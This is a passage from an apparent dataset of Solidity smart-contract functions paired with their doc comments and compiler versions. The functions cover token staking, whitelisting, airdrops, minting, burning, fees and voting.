epoch identified by `epochId`\n */", "function_code": "function getEpochPoolSize(address tokenAddress, uint128 epochId) public view returns (uint256) {\n // Premises:\n // 1. it's impossible to have gaps of uninitialized epochs\n // - any deposit or withdraw initialize the current epoch which requires the previous one to be initialized\n if (epochIsInitialized(tokenAddress, epochId)) {\n return poolSize[tokenAddress][epochId].size;\n }\n\n // epochId not initialized and epoch 0 not initialized => there was never any action on this pool\n if (!epochIsInitialized(tokenAddress, 0)) {\n return 0;\n }\n\n // epoch 0 is initialized => there was an action at some point but none that initialized the epochId\n // which means the current pool size is equal to the current balance of token held by the staking contract\n IERC20 token = IERC20(tokenAddress);\n return token.balanceOf(address(this));\n }", "version": "0.6.12"} {"comment": "/*\n * Returns the percentage of time left in the current epoch\n */", "function_code": "function currentEpochMultiplier() public view returns (uint128) {\n uint128 currentEpoch = getCurrentEpoch();\n uint256 currentEpochEnd = epoch1Start + currentEpoch * epochDuration;\n uint256 timeLeft = currentEpochEnd - block.timestamp;\n uint128 multiplier = uint128(timeLeft * BASE_MULTIPLIER / epochDuration);\n\n return multiplier;\n }", "version": "0.6.12"} {"comment": "/**\r\n * Set new owner for the smart contract.\r\n * May only be called by smart contract owner.\r\n *\r\n * @param _address of new or existing owner of the smart contract\r\n * @param _value boolean stating if the _address should be an owner or not\r\n */", "function_code": "function setOwner (address _address, bool _value) public {\r\n require (owners[msg.sender]);\r\n // if removing the _address from owners list, make sure owner is not \r\n // removing himself (which could lead to an ownerless contract).\r\n require (_value == true || _address != msg.sender);\r\n\r\n owners[_address] = _value;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Initialize the token holders by contract owner\r\n *\r\n * @param _to addresses to allocate token for\r\n * @param _value number of tokens to be allocated\r\n */", "function_code": "function initAccounts (address [] _to, uint256 [] _value) public {\r\n require (owners[msg.sender]);\r\n require (_to.length == _value.length);\r\n for (uint256 i=0; i < _to.length; i++){\r\n uint256 amountToAdd;\r\n uint256 amountToSub;\r\n if (_value[i] > accounts[_to[i]]){\r\n amountToAdd = safeSub(_value[i], accounts[_to[i]]);\r\n }else{\r\n amountToSub = safeSub(accounts[_to[i]], _value[i]);\r\n }\r\n accounts [supplyOwner] = safeAdd (accounts [supplyOwner], amountToSub);\r\n accounts [supplyOwner] = safeSub (accounts [supplyOwner], amountToAdd);\r\n accounts [_to[i]] = _value[i];\r\n if (amountToAdd > 0){\r\n emit Transfer (supplyOwner, _to[i], amountToAdd);\r\n }\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @notice Default implementation of verifyTransfer used by SecurityToken\r\n * If the transfer request comes from the STO, it only checks that the investor is in the whitelist\r\n * If the transfer request comes from a token holder, it checks that:\r\n * a) Both are on the whitelist\r\n * b) Seller's sale lockup period is over\r\n * c) Buyer's purchase lockup is over\r\n * @param _from Address of the sender\r\n * @param _to Address of the receiver\r\n */", "function_code": "function verifyTransfer(address _from, address _to, uint256 /*_amount*/, bytes /* _data */, bool /* _isTransfer */) public returns(Result) {\r\n if (!paused) {\r\n if (allowAllTransfers) {\r\n //All transfers allowed, regardless of whitelist\r\n return Result.VALID;\r\n }\r\n if (allowAllBurnTransfers && (_to == address(0))) {\r\n return Result.VALID;\r\n }\r\n if (allowAllWhitelistTransfers) {\r\n //Anyone on the whitelist can transfer, regardless of time\r\n return (_onWhitelist(_to) && _onWhitelist(_from)) ? Result.VALID : Result.NA;\r\n }\r\n if (allowAllWhitelistIssuances && _from == issuanceAddress) {\r\n if (!whitelist[_to].canBuyFromSTO && _isSTOAttached()) {\r\n return Result.NA;\r\n }\r\n return _onWhitelist(_to) ? Result.VALID : Result.NA;\r\n }\r\n //Anyone on the whitelist can transfer provided the blocknumber is large enough\r\n /*solium-disable-next-line security/no-block-members*/\r\n return ((_onWhitelist(_from) && whitelist[_from].fromTime <= now) &&\r\n (_onWhitelist(_to) && whitelist[_to].toTime <= now)) ? Result.VALID : Result.NA; /*solium-disable-line security/no-block-members*/\r\n }\r\n return Result.NA;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Adds or removes addresses from the whitelist.\r\n * @param _investor is the address to whitelist\r\n * @param _fromTime is the moment when the sale lockup period ends and the investor can freely sell his tokens\r\n * @param _toTime is the moment when the purchase lockup period ends and the investor can freely purchase tokens from others\r\n * @param _expiryTime is the moment till investors KYC will be validated. After that investor need to do re-KYC\r\n * @param _canBuyFromSTO is used to know whether the investor is restricted investor or not.\r\n */", "function_code": "function modifyWhitelist(\r\n address _investor,\r\n uint256 _fromTime,\r\n uint256 _toTime,\r\n uint256 _expiryTime,\r\n bool _canBuyFromSTO\r\n )\r\n public\r\n withPerm(WHITELIST)\r\n {\r\n //Passing a _time == 0 into this function, is equivalent to removing the _investor from the whitelist\r\n whitelist[_investor] = TimeRestriction(_fromTime, _toTime, _expiryTime, _canBuyFromSTO);\r\n /*solium-disable-next-line security/no-block-members*/\r\n emit ModifyWhitelist(_investor, now, msg.sender, _fromTime, _toTime, _expiryTime, _canBuyFromSTO);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Adds or removes addresses from the whitelist.\r\n * @param _investors List of the addresses to whitelist\r\n * @param _fromTimes An array of the moment when the sale lockup period ends and the investor can freely sell his tokens\r\n * @param _toTimes An array of the moment when the purchase lockup period ends and the investor can freely purchase tokens from others\r\n * @param _expiryTimes An array of the moment till investors KYC will be validated. After that investor need to do re-KYC\r\n * @param _canBuyFromSTO An array of boolean values\r\n */", "function_code": "function modifyWhitelistMulti(\r\n address[] _investors,\r\n uint256[] _fromTimes,\r\n uint256[] _toTimes,\r\n uint256[] _expiryTimes,\r\n bool[] _canBuyFromSTO\r\n ) public withPerm(WHITELIST) {\r\n require(_investors.length == _fromTimes.length, \"Mismatched input lengths\");\r\n require(_fromTimes.length == _toTimes.length, \"Mismatched input lengths\");\r\n require(_toTimes.length == _expiryTimes.length, \"Mismatched input lengths\");\r\n require(_canBuyFromSTO.length == _toTimes.length, \"Mismatched input length\");\r\n for (uint256 i = 0; i < _investors.length; i++) {\r\n modifyWhitelist(_investors[i], _fromTimes[i], _toTimes[i], _expiryTimes[i], _canBuyFromSTO[i]);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Adds or removes addresses from the whitelist - can be called by anyone with a valid signature\r\n * @param _investor is the address to whitelist\r\n * @param _fromTime is the moment when the sale lockup period ends and the investor can freely sell his tokens\r\n * @param _toTime is the moment when the purchase lockup period ends and the investor can freely purchase tokens from others\r\n * @param _expiryTime is the moment till investors KYC will be validated. After that investor need to do re-KYC\r\n * @param _canBuyFromSTO is used to know whether the investor is restricted investor or not.\r\n * @param _validFrom is the time that this signature is valid from\r\n * @param _validTo is the time that this signature is valid until\r\n * @param _nonce nonce of signature (avoid replay attack)\r\n * @param _v issuer signature\r\n * @param _r issuer signature\r\n * @param _s issuer signature\r\n */", "function_code": "function modifyWhitelistSigned(\r\n address _investor,\r\n uint256 _fromTime,\r\n uint256 _toTime,\r\n uint256 _expiryTime,\r\n bool _canBuyFromSTO,\r\n uint256 _validFrom,\r\n uint256 _validTo,\r\n uint256 _nonce,\r\n uint8 _v,\r\n bytes32 _r,\r\n bytes32 _s\r\n ) public {\r\n /*solium-disable-next-line security/no-block-members*/\r\n require(_validFrom <= now, \"ValidFrom is too early\");\r\n /*solium-disable-next-line security/no-block-members*/\r\n require(_validTo >= now, \"ValidTo is too late\");\r\n require(!nonceMap[_investor][_nonce], \"Already used signature\");\r\n nonceMap[_investor][_nonce] = true;\r\n bytes32 hash = keccak256(\r\n abi.encodePacked(this, _investor, _fromTime, _toTime, _expiryTime, _canBuyFromSTO, _validFrom, _validTo, _nonce)\r\n );\r\n _checkSig(hash, _v, _r, _s);\r\n //Passing a _time == 0 into this function, is equivalent to removing the _investor from the whitelist\r\n whitelist[_investor] = TimeRestriction(_fromTime, _toTime, _expiryTime, _canBuyFromSTO);\r\n /*solium-disable-next-line security/no-block-members*/\r\n emit ModifyWhitelist(_investor, now, msg.sender, _fromTime, _toTime, _expiryTime, _canBuyFromSTO);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Used to verify the signature\r\n */", "function_code": "function _checkSig(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal view {\r\n //Check that the signature is valid\r\n //sig should be signing - _investor, _fromTime, _toTime & _expiryTime and be signed by the issuer address\r\n address signer = ecrecover(keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", _hash)), _v, _r, _s);\r\n require(signer == Ownable(securityToken).owner() || signer == signingAddress, \"Incorrect signer\");\r\n }", "version": "0.4.24"} {"comment": "/// @dev Returns sparse array", "function_code": "function getFundHoldings() external returns (uint[] memory, address[] memory) {\n uint[] memory _quantities = new uint[](ownedAssets.length);\n address[] memory _assets = new address[](ownedAssets.length);\n for (uint i = 0; i < ownedAssets.length; i++) {\n address ofAsset = ownedAssets[i];\n // assetHoldings formatting: mul(exchangeHoldings, 10 ** assetDecimal)\n uint quantityHeld = assetHoldings(ofAsset);\n _assets[i] = ofAsset;\n _quantities[i] = quantityHeld;\n }\n return (_quantities, _assets);\n }", "version": "0.6.1"} {"comment": "// prices are quoted in DENOMINATION_ASSET so they use denominationDecimals", "function_code": "function calcGav() public returns (uint gav) {\n for (uint i = 0; i < ownedAssets.length; ++i) {\n address asset = ownedAssets[i];\n // assetHoldings formatting: mul(exchangeHoldings, 10 ** assetDecimals)\n uint quantityHeld = assetHoldings(asset);\n // Dont bother with the calculations if the balance of the asset is 0\n if (quantityHeld == 0) {\n continue;\n }\n // gav as sum of mul(assetHoldings, assetPrice) with formatting: mul(mul(exchangeHoldings, exchangePrice), 10 ** shareDecimals)\n gav = add(\n gav,\n IPriceSource(priceSource()).convertQuantity(\n quantityHeld, asset, DENOMINATION_ASSET\n )\n );\n }\n return gav;\n }", "version": "0.6.1"} {"comment": "/// @notice Reward all fees and perform some updates\n/// @dev Anyone can call this", "function_code": "function triggerRewardAllFees()\n external\n amguPayable(false)\n payable\n {\n updateOwnedAssets();\n uint256 gav;\n uint256 feesInDenomination;\n uint256 feesInShares;\n uint256 nav;\n (gav, feesInDenomination, feesInShares, nav,,) = performCalculations();\n uint256 totalSupply = Shares(routes.shares).totalSupply();\n FeeManager(routes.feeManager).rewardAllFees();\n atLastAllocation = Calculations({\n gav: gav,\n nav: nav,\n allocatedFees: feesInDenomination,\n totalSupply: totalSupply,\n timestamp: block.timestamp\n });\n }", "version": "0.6.1"} {"comment": "/// @dev Check holdings for all assets, and adjust list", "function_code": "function updateOwnedAssets() public {\n for (uint i = 0; i < ownedAssets.length; i++) {\n address asset = ownedAssets[i];\n if (\n assetHoldings(asset) == 0 &&\n !(asset == address(DENOMINATION_ASSET)) &&\n ITrading(routes.trading).getOpenMakeOrdersAgainstAsset(asset) == 0\n ) {\n _removeFromOwnedAssets(asset);\n }\n }\n }", "version": "0.6.1"} {"comment": "/// @dev Just pass if asset not in list", "function_code": "function _removeFromOwnedAssets(address _asset) internal {\n if (!isInAssetList[_asset]) { return; }\n\n isInAssetList[_asset] = false;\n for (uint i; i < ownedAssets.length; i++) {\n if (ownedAssets[i] == _asset) {\n ownedAssets[i] = ownedAssets[ownedAssets.length - 1];\n ownedAssets.pop();\n break;\n }\n }\n emit AssetRemoval(_asset);\n }", "version": "0.6.1"} {"comment": "// admin initiates a request that the insurance fee be changed", "function_code": "function requestChangeInsuranceFees(uint80 _transferFeeNumerator,\r\n uint80 _transferFeeDenominator,\r\n uint80 _mintFeeNumerator,\r\n uint80 _mintFeeDenominator,\r\n uint256 _mintFeeFlat,\r\n uint80 _burnFeeNumerator,\r\n uint80 _burnFeeDenominator,\r\n uint256 _burnFeeFlat) public onlyAdminOrOwner {\r\n uint deferBlock = computeDeferBlock();\r\n changeInsuranceFeesOperation = ChangeInsuranceFeesOperation(_transferFeeNumerator,\r\n _transferFeeDenominator,\r\n _mintFeeNumerator,\r\n _mintFeeDenominator,\r\n _mintFeeFlat,\r\n _burnFeeNumerator,\r\n _burnFeeDenominator,\r\n _burnFeeFlat,\r\n admin,\r\n deferBlock);\r\n ChangeInsuranceFeesOperationEvent(_transferFeeNumerator,\r\n _transferFeeDenominator,\r\n _mintFeeNumerator,\r\n _mintFeeDenominator,\r\n _mintFeeFlat,\r\n _burnFeeNumerator,\r\n _burnFeeDenominator,\r\n _burnFeeFlat,\r\n deferBlock);\r\n }", "version": "0.4.19"} {"comment": "// after a day, beneficiary of a mint request finalizes it by providing the\n// index of the request (visible in the MintOperationEvent accompanying the original request)", "function_code": "function finalizeMint(uint index) public onlyAdminOrOwner {\r\n MintOperation memory op = mintOperations[index];\r\n require(op.admin == admin); //checks that the requester's adminship has not been revoked\r\n require(op.deferBlock <= block.number); //checks that enough time has elapsed\r\n address to = op.to;\r\n uint256 amount = op.amount;\r\n delete mintOperations[index];\r\n child.mint(to, amount);\r\n }", "version": "0.4.19"} {"comment": "// after a day, admin finalizes the insurance fee change", "function_code": "function finalizeChangeInsuranceFees() public onlyAdminOrOwner {\r\n require(changeInsuranceFeesOperation.admin == admin);\r\n require(changeInsuranceFeesOperation.deferBlock <= block.number);\r\n uint80 _transferFeeNumerator = changeInsuranceFeesOperation._transferFeeNumerator;\r\n uint80 _transferFeeDenominator = changeInsuranceFeesOperation._transferFeeDenominator;\r\n uint80 _mintFeeNumerator = changeInsuranceFeesOperation._mintFeeNumerator;\r\n uint80 _mintFeeDenominator = changeInsuranceFeesOperation._mintFeeDenominator;\r\n uint256 _mintFeeFlat = changeInsuranceFeesOperation._mintFeeFlat;\r\n uint80 _burnFeeNumerator = changeInsuranceFeesOperation._burnFeeNumerator;\r\n uint80 _burnFeeDenominator = changeInsuranceFeesOperation._burnFeeDenominator;\r\n uint256 _burnFeeFlat = changeInsuranceFeesOperation._burnFeeFlat;\r\n delete changeInsuranceFeesOperation;\r\n child.changeInsuranceFees(_transferFeeNumerator,\r\n _transferFeeDenominator,\r\n _mintFeeNumerator,\r\n _mintFeeDenominator,\r\n _mintFeeFlat,\r\n _burnFeeNumerator,\r\n _burnFeeDenominator,\r\n _burnFeeFlat);\r\n }", "version": "0.4.19"} {"comment": "//always removing in renBTC, else use normal method", "function_code": "function removeLiquidityOneCoinThenBurn(bytes calldata _btcDestination, uint256 _token_amounts, uint256 min_amount) external {\r\n uint256 startRenbtcBalance = RENBTC.balanceOf(address(this));\r\n require(curveToken.transferFrom(msg.sender, address(this), _token_amounts));\r\n exchange.remove_liquidity_one_coin(_token_amounts, 0, min_amount);\r\n uint256 endRenbtcBalance = RENBTC.balanceOf(address(this));\r\n uint256 renbtcWithdrawn = endRenbtcBalance.sub(startRenbtcBalance);\r\n\r\n // Burn and send proceeds to the User\r\n uint256 burnAmount = registry.getGatewayBySymbol(\"BTC\").burn(_btcDestination, renbtcWithdrawn);\r\n emit Burn(burnAmount);\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @notice Start airdrop\r\n * @param _multiplierPercent Multiplier of the airdrop\r\n */", "function_code": "function startAirdrop(uint256 _multiplierPercent) onlyOwner external returns(bool){\r\n pause();\r\n require(multiplierPercent == 0); //This means airdrop was finished\r\n require(_multiplierPercent > PERCENT_DIVIDER); //Require that after airdrop amount of tokens will be greater than before\r\n currentAirdrop = currentAirdrop.add(1);\r\n multiplierPercent = _multiplierPercent;\r\n undropped = totalSupply();\r\n assert(multiplierPercent.mul(undropped) > 0); //Assert that wrong multiplier will not result in owerflow in airdropAmount()\r\n AirdropStart(multiplierPercent, currentAirdrop);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @notice Execute airdrop for a bunch of addresses. Should be repeated for all addresses with non-zero amount of tokens.\r\n * @dev This function can be called by anyone, not only the owner\r\n * @param holders Array of token holder addresses.\r\n * @return true if success\r\n */", "function_code": "function drop(address[] holders) external returns(bool){\r\n for(uint256 i=0; i < holders.length; i++){\r\n address holder = holders[i];\r\n if(!isAirdropped(holder)){\r\n uint256 balance = balances[holder];\r\n undropped = undropped.sub(balance);\r\n balances[holder] = airdropAmount(balance);\r\n uint256 amount = balances[holder].sub(balance);\r\n totalSupply_ = totalSupply_.add(amount);\r\n Transfer(address(0), holder, amount);\r\n setAirdropped(holder);\r\n }\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @param _value the amount of money to burn\r\n */", "function_code": "function burn(uint256 _value) public returns (bool success) {\r\n require(balanceOf[msg.sender] >= _value); // Check if the sender has enough\r\n balanceOf[msg.sender] -= _value; // Subtract from the sender\r\n totalSupply -= _value; // Updates totalSupply\r\n emit Burn(msg.sender, _value);\r\n return true;\r\n }", "version": "0.5.5"} {"comment": "/**\r\n * @param _from the address of the sender\r\n * @param _value the amount of money to burn\r\n */", "function_code": "function burnFrom(address _from, uint256 _value) public returns (bool success) {\r\n require(balanceOf[_from] >= _value); // Check if the targeted balance is enough\r\n require(_value <= allowance[_from][msg.sender]); // Check allowance\r\n balanceOf[_from] -= _value; // Subtract from the targeted balance\r\n allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance\r\n totalSupply -= _value; // Update totalSupply\r\n emit Burn(_from, _value);\r\n return true;\r\n }", "version": "0.5.5"} {"comment": "// function testrevenue(address _game) public view returns (uint256, bool, bool, uint256){\n// uint256 ethfee;\n// uint256 hbfee;\n// address local_game = _game;\n// IERC721 erc721Address = IERC721(_game);\n// for (uint i = 0; i < Games[_game].tokenIdSale.length; i++) {\n// uint256 _tokenId = Games[_game].tokenIdSale[i];\n// if (Games[local_game].tokenPrice[_tokenId].tokenOwner == erc721Address.ownerOf(_tokenId)) {\n// if (Games[local_game].tokenPrice[_tokenId].fee >= 0) {\n// ethfee = ethfee.add(Games[local_game].tokenPrice[_tokenId].fee);\n// if(Games[local_game].tokenPrice[_tokenId].isHightlight == 1) ethfee = ethfee.add(Games[local_game].hightLightFee);\n// }\n// else if (Games[local_game].tokenPrice[_tokenId].hbfee >= 0) {\n// hbfee = hbfee.add(Games[local_game].tokenPrice[_tokenId].hbfee);\n// if(Games[local_game].tokenPrice[_tokenId].isHightlight == 1) hbfee = hbfee.add(Games[local_game].hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16));\n// }\n// }\n// if(i== Games[local_game].tokenIdSale.length-1) {\n// uint256 eth = address(this).balance;\n// uint256 hb = hbwalletToken.balanceOf(address(this));\n// return (ethfee, Games[local_game].tokenPrice[_tokenId].tokenOwner == erc721Address.ownerOf(_tokenId), \n// Games[local_game].tokenPrice[_tokenId].fee >= 0, ethfee.add(Games[local_game].hightLightFee));\n// }\n// }\n// }", "function_code": "function revenue() public view returns (uint256, uint){\r\n\r\n uint256 ethfee;\r\n uint256 hbfee;\r\n for(uint j = 0; j< arrGames.length; j++) {\r\n\r\n address _game = arrGames[j];\r\n IERC721 erc721Address = IERC721(arrGames[j]);\r\n for (uint i = 0; i < Games[_game].tokenIdSale.length; i++) {\r\n uint256 _tokenId = Games[_game].tokenIdSale[i];\r\n if (Games[_game].tokenPrice[_tokenId].tokenOwner == erc721Address.ownerOf(_tokenId)) {\r\n if (Games[_game].tokenPrice[_tokenId].fee >= 0) {\r\n ethfee = ethfee.add(Games[_game].tokenPrice[_tokenId].fee);\r\n if(Games[_game].tokenPrice[_tokenId].isHightlight == 1) ethfee = ethfee.add(Games[_game].hightLightFee);\r\n }\r\n else if (Games[_game].tokenPrice[_tokenId].hbfee >= 0) {\r\n hbfee = hbfee.add(Games[_game].tokenPrice[_tokenId].hbfee);\r\n if(Games[_game].tokenPrice[_tokenId].isHightlight == 1) hbfee = hbfee.add(Games[_game].hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16));\r\n }\r\n }\r\n }\r\n }\r\n\r\n uint256 eth = address(this).balance.sub(ethfee);\r\n uint256 hb = hbwalletToken.balanceOf(address(this)).sub(hbfee);\r\n return (eth, hb);\r\n }", "version": "0.5.8"} {"comment": "/// @notice Enables calling multiple methods in a single call to this contract.", "function_code": "function multicall(bytes[] calldata data) external returns (bytes[] memory results) {\r\n results = new bytes[](data.length);\r\n unchecked {for (uint256 i = 0; i < data.length; i++) {\r\n (bool success, bytes memory result) = address(this).delegatecall(data[i]);\r\n if (!success) {\r\n if (result.length < 68) revert();\r\n assembly {result := add(result, 0x04)}\r\n revert(abi.decode(result, (string)));\r\n }\r\n results[i] = result;}}\r\n }", "version": "0.8.4"} {"comment": "/// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`.", "function_code": "function meow(address to, uint256 amount) external returns (uint256 shares) {\r\n ISushiBar(sushiBar).transferFrom(msg.sender, address(bento), amount); // forward to BENTO for skim\r\n (, shares) = bento.deposit(IERC20(sushiBar), address(bento), address(this), amount, 0);\r\n meowMint(to, shares * multiplier);\r\n }", "version": "0.8.4"} {"comment": "// Sets the price for the NFT's ", "function_code": "function getHeroPrice() public view returns (uint256) {\r\n uint currentSupply = totalSupply();\r\n if (currentSupply >= 0 && currentSupply < 501){\r\n return 35000000000000000;\r\n }else if(currentSupply >= 501 && currentSupply < 5000){\r\n return 65000000000000000;\r\n }else if(currentSupply >= 5001){\r\n return 70000000000000000;\r\n }\r\n }", "version": "0.8.0"} {"comment": "// minting function for stakes ", "function_code": "function mintForStakers(uint256 numNFTs) public payable onlyRole(STAKER_ROLE){\r\n require(hasSaleStarted, \"Sale has not started\");\r\n require(stakerSupply > 0, \"Staker reserve is empty!\");\r\n require(msg.value >= getHeroPrice() * numNFTs, \"Incorrect ether value\");\r\n require(stakerSupply - numNFTs >= 0, \"Exceeds retail supply\");\r\n require(numNFTs <= priceRange(), \"Number of NFTs would exceed the price range\");\r\n \r\n for (uint i = 0; i < numNFTs; i++) {\r\n uint mintIndex = totalSupply() + 1; // +1 so it doesn't start on index 0.\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n \r\n if (startingIndexBlock == 0 && (totalSupply() == retailSupply)) {\r\n startingIndexBlock = block.number;}\r\n \r\n stakerSupply = stakerSupply - numNFTs;\r\n stakerMinted = stakerMinted + numNFTs;\r\n }", "version": "0.8.0"} {"comment": "/**\n * @dev Returns the value for `variable` at the indexed sample.\n */", "function_code": "function getInstantValue(\n mapping(uint256 => bytes32) storage samples,\n IPriceOracle.Variable variable,\n uint256 index\n ) external view returns (uint256) {\n bytes32 sample = samples[index];\n _require(sample.timestamp() > 0, Errors.ORACLE_NOT_INITIALIZED);\n\n int256 rawInstantValue = sample.instant(variable);\n return LogCompression.fromLowResLog(rawInstantValue);\n }", "version": "0.7.1"} {"comment": "/**\n * @dev Returns the time average weighted price corresponding to `query`.\n */", "function_code": "function getTimeWeightedAverage(\n mapping(uint256 => bytes32) storage samples,\n IPriceOracle.OracleAverageQuery memory query,\n uint256 latestIndex\n ) external view returns (uint256) {\n _require(query.secs != 0, Errors.ORACLE_BAD_SECS);\n\n int256 beginAccumulator = getPastAccumulator(samples, query.variable, latestIndex, query.ago + query.secs);\n int256 endAccumulator = getPastAccumulator(samples, query.variable, latestIndex, query.ago);\n return LogCompression.fromLowResLog((endAccumulator - beginAccumulator) / int256(query.secs));\n }", "version": "0.7.1"} {"comment": "///@notice Add item to progject vote list\n/// @dev It must be call from owner before startVote()\n/// @param _prjName - string, project name for vote.\n/// @param _prjAddress - address, only this address can get \n/// reward if project will win.", "function_code": "function addProjectToVote(string calldata _prjName, address _prjAddress) \r\n external \r\n payable \r\n onlyOwner\r\n {\r\n require(currentStage == StageName.preList, \"Can't add item after vote has starting!\");\r\n require(_prjAddress != address(0),\"Address must be valid!\");\r\n bytes32 hash = keccak256(bytes(_prjName));\r\n require( projects[hash].prjAddress == address(0), \r\n \"It seems like this item allready exist!\"\r\n );\r\n projects[hash] = PrjProperties({\r\n prjAddress: _prjAddress,\r\n voteCount: 0,\r\n prjWeiRaised: 0\r\n });\r\n }", "version": "0.5.1"} {"comment": "///@notice Make vote for sender\n/// @dev Sender must send enough ether\n/// @param _prjName - string, project name for vote.", "function_code": "function vote(string calldata _prjName) external payable {\r\n require(currentStage == StageName.inProgress,\r\n \"Vote disable now!\"\r\n \r\n );\r\n require(msg.value >= MINETHVOTE, \"Please send more ether!\");\r\n bytes32 hash = keccak256(bytes(_prjName));\r\n PrjProperties memory currentBet = projects[hash];//Storage - or other place!!!!\r\n require(currentBet.prjAddress != address(0), \r\n \"It seems like there is no item with that name\"\r\n );\r\n projects[hash].voteCount = currentBet.voteCount + 1;\r\n projects[hash].prjWeiRaised = currentBet.prjWeiRaised + msg.value;\r\n emit NewBet(msg.sender, msg.value, _prjName);\r\n //Check for new winner\r\n if (currentBet.voteCount + 1 > projects[keccak256(bytes(currentWinner))].voteCount)\r\n currentWinner = _prjName;\r\n //Check vote end \r\n if (now >= voteFinishDate)\r\n currentStage = StageName.voteFinished;\r\n emit VoteFinished(msg.sender, uint64(now));\r\n \r\n }", "version": "0.5.1"} {"comment": "// Mint weebTEND with TEND", "function_code": "function mint(uint256 amount) public {\r\n require(amount <= TEND.balanceOf(msg.sender), \">TEND.balanceOf\");\r\n uint256 totalStakedTendiesBefore = getTotalStakedTendies();\r\n \r\n // Stake tendies\r\n TEND.safeTransferFrom(msg.sender, address(this), amount);\r\n \r\n uint256 totalStakedTendiesAfter = getTotalStakedTendies();\r\n \r\n if (totalSupply() == 0) {\r\n return super._mint(msg.sender, amount.mul(INITIAL_SUPPLY_MULTIPLIER));\r\n }\r\n\r\n uint256 mintAmount = (totalStakedTendiesAfter.sub(totalStakedTendiesBefore))\r\n .mul(totalSupply())\r\n .div(totalStakedTendiesBefore);\r\n \r\n emit Mint(msg.sender, mintAmount, block.timestamp);\r\n return super._mint(msg.sender, mintAmount);\r\n }", "version": "0.5.17"} {"comment": "// Burn weebTEND to get collected TEND", "function_code": "function burn(uint256 amount) public nonReentrant {\r\n require(amount <= balanceOf(msg.sender), \">weebTEND.balanceOf\");\r\n \r\n // Burn weebTEND\r\n uint256 proRataTend = getTotalStakedTendies().mul(amount).div(totalSupply());\r\n super._burn(msg.sender, amount);\r\n emit Burn(msg.sender, amount, block.timestamp);\r\n\r\n // Calculate burn fee and transfer underlying TEND\r\n uint256 _fee = proRataTend.mul(_burnFeeRate).div(_burnFeeBase);\r\n TEND.safeTransfer(msg.sender, proRataTend.sub(_fee));\r\n feesCollected += _fee;\r\n }", "version": "0.5.17"} {"comment": "// Utility function to verify geth style signatures", "function_code": "function verifySig(\r\n\t\taddress _signer,\r\n\t\tbytes32 _theHash,\r\n\t\tuint8 _v,\r\n\t\tbytes32 _r,\r\n\t\tbytes32 _s\r\n\t) private pure returns (bool) {\r\n\t\tbytes32 messageDigest =\r\n\t\t\tkeccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", _theHash));\r\n\t\treturn _signer == ecrecover(messageDigest, _v, _r, _s);\r\n\t}", "version": "0.6.12"} {"comment": "// Make a new checkpoint from the supplied validator set\n// A checkpoint is a hash of all relevant information about the valset. This is stored by the contract,\n// instead of storing the information directly. This saves on storage and gas.\n// The format of the checkpoint is:\n// h(gravityId, \"checkpoint\", valsetNonce, validators[], powers[])\n// Where h is the keccak256 hash function.\n// The validator powers must be decreasing or equal. This is important for checking the signatures on the\n// next valset, since it allows the caller to stop verifying signatures once a quorum of signatures have been verified.", "function_code": "function makeCheckpoint(\r\n\t\taddress[] memory _validators,\r\n\t\tuint256[] memory _powers,\r\n\t\tuint256 _valsetNonce,\r\n\t\tbytes32 _gravityId\r\n\t) private pure returns (bytes32) {\r\n\t\t// bytes32 encoding of the string \"checkpoint\"\r\n\t\tbytes32 methodName = 0x636865636b706f696e7400000000000000000000000000000000000000000000;\r\n\r\n\t\tbytes32 checkpoint =\r\n\t\t\tkeccak256(abi.encode(_gravityId, methodName, _valsetNonce, _validators, _powers));\r\n\r\n\t\treturn checkpoint;\r\n\t}", "version": "0.6.12"} {"comment": "// Set root of merkle tree", "function_code": "function setRoot(bytes32 _root) public onlyOwner {\n require(address(iEscrowThales) != address(0), \"Set Escrow Thales address\");\n root = _root;\n startTime = block.timestamp; //reset time every period\n emit NewRoot(_root, block.timestamp, period);\n period = period + 1;\n }", "version": "0.5.16"} {"comment": "// Check if a given reward has already been claimed", "function_code": "function claimed(uint256 index) public view returns (uint256 claimedBlock, uint256 claimedMask) {\n claimedBlock = _claimed[period][index / 256];\n claimedMask = (uint256(1) << uint256(index % 256));\n require((claimedBlock & claimedMask) == 0, \"Tokens have already been claimed\");\n }", "version": "0.5.16"} {"comment": "// Get airdrop tokens assigned to address\n// Requires sending merkle proof to the function", "function_code": "function claim(\n uint256 index,\n uint256 amount,\n bytes32[] memory merkleProof\n ) public notPaused {\n // Make sure the tokens have not already been redeemed\n (uint256 claimedBlock, uint256 claimedMask) = claimed(index);\n _claimed[period][index / 256] = claimedBlock | claimedMask;\n\n // Compute the merkle leaf from index, recipient and amount\n bytes32 leaf = keccak256(abi.encodePacked(index, msg.sender, amount));\n // verify the proof is valid\n require(MerkleProof.verify(merkleProof, root, leaf), \"Proof is not valid\");\n\n // Send to EscrowThales contract\n iEscrowThales.addToEscrow(msg.sender, amount);\n\n emit Claim(msg.sender, amount, block.timestamp);\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice remove an address from the array\r\n * @dev finds the element, swaps it with the last element, and then deletes it;\r\n * returns a boolean whether the element was found and deleted\r\n * @param self Storage array containing address type variables\r\n * @param element the element to remove from the array\r\n */", "function_code": "function removeAddress(Addresses storage self, address element) internal returns (bool) {\r\n for (uint i = 0; i < self.size(); i++) {\r\n if (self._items[i] == element) {\r\n self._items[i] = self._items[self.size() - 1];\r\n self._items.pop();\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * @notice check if an element exist in the array\r\n * @param self Storage array containing address type variables\r\n * @param element the element to check if it exists in the array\r\n */", 